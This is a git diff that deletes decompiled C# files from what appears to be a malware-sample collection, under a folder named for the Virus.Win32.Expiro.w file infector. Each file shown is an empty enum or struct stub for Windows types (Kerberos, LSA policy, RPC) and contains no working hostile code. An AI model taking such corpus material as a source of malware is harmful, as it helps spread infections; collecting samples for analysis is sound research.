a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_PROFILE_BUFFER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_PROFILE_BUFFER_TYPE.cs deleted file mode 100644 index 0470ee3d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_PROFILE_BUFFER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_PROFILE_BUFFER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _KERB_PROFILE_BUFFER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_PROTOCOL_MESSAGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_PROTOCOL_MESSAGE_TYPE.cs deleted file mode 100644 index bc2fe53a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_PROTOCOL_MESSAGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_PROTOCOL_MESSAGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _KERB_PROTOCOL_MESSAGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_LOGICAL_PROCESSOR_RELATIONSHIP.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_LOGICAL_PROCESSOR_RELATIONSHIP.cs deleted file mode 100644 index c89cf422..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_LOGICAL_PROCESSOR_RELATIONSHIP.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _LOGICAL_PROCESSOR_RELATIONSHIP -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _LOGICAL_PROCESSOR_RELATIONSHIP -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_LUID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_LUID.cs deleted file mode 100644 index 30e70e17..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_LUID.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _LUID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _LUID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MEDIA_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MEDIA_TYPE.cs deleted file mode 100644 index ad65d562..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MEDIA_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MEDIA_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _MEDIA_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs deleted file mode 100644 index b1e143e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MEMORY_RESOURCE_NOTIFICATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _MEMORY_RESOURCE_NOTIFICATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_LOGON_SUBMIT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_LOGON_SUBMIT_TYPE.cs deleted file mode 100644 index 32e81c70..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_LOGON_SUBMIT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_LOGON_SUBMIT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _MSV1_0_LOGON_SUBMIT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_PROFILE_BUFFER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_PROFILE_BUFFER_TYPE.cs deleted file mode 100644 index 60597043..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_PROFILE_BUFFER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_PROFILE_BUFFER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _MSV1_0_PROFILE_BUFFER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs deleted file mode 100644 index b7d6ef16..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MSV1_0_PROTOCOL_MESSAGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _MSV1_0_PROTOCOL_MESSAGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MULTIPLE_TRUSTEE_OPERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MULTIPLE_TRUSTEE_OPERATION.cs deleted file mode 100644 index 848ba48d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MULTIPLE_TRUSTEE_OPERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MULTIPLE_TRUSTEE_OPERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _MULTIPLE_TRUSTEE_OPERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_OSVERSIONINFOW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_OSVERSIONINFOW.cs deleted file mode 100644 index 35006876..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_OSVERSIONINFOW.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _OSVERSIONINFOW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[UnsafeValueType] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 276)] -internal struct _OSVERSIONINFOW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_AUDIT_EVENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_AUDIT_EVENT_TYPE.cs deleted file mode 100644 index 9567df18..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_AUDIT_EVENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_AUDIT_EVENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _POLICY_AUDIT_EVENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_DOMAIN_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_DOMAIN_INFORMATION_CLASS.cs deleted file mode 100644 index 0ab4d108..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_DOMAIN_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_DOMAIN_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _POLICY_DOMAIN_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_INFORMATION_CLASS.cs deleted file mode 100644 index 3cb697b5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_LSA_SERVER_ROLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_LSA_SERVER_ROLE.cs deleted file mode 100644 index 24337d4e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_LSA_SERVER_ROLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_LSA_SERVER_ROLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _POLICY_LSA_SERVER_ROLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs deleted file mode 100644 index 28d57834..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_NOTIFICATION_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _POLICY_NOTIFICATION_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PROCESSOR_CACHE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PROCESSOR_CACHE_TYPE.cs deleted file mode 100644 index eb763d4c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PROCESSOR_CACHE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROCESSOR_CACHE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _PROCESSOR_CACHE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PROGRESS_INVOKE_SETTING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PROGRESS_INVOKE_SETTING.cs deleted file mode 100644 index efc28e21..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PROGRESS_INVOKE_SETTING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROGRESS_INVOKE_SETTING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _PROGRESS_INVOKE_SETTING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PaddingMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PaddingMode.cs deleted file mode 100644 index 861a13ff..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PaddingMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PaddingMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _PaddingMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPCCALLBACKS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPCCALLBACKS.cs deleted file mode 100644 index ceec1dad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPCCALLBACKS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPCCALLBACKS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _RPCCALLBACKS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_ASYNC_EVENT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_ASYNC_EVENT.cs deleted file mode 100644 index 86d9a22e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_ASYNC_EVENT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_ASYNC_EVENT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _RPC_ASYNC_EVENT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_HTTP_REDIRECTOR_STAGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_HTTP_REDIRECTOR_STAGE.cs deleted file mode 100644 index 35960f08..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_HTTP_REDIRECTOR_STAGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_HTTP_REDIRECTOR_STAGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _RPC_HTTP_REDIRECTOR_STAGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_NOTIFICATION_TYPES.cs 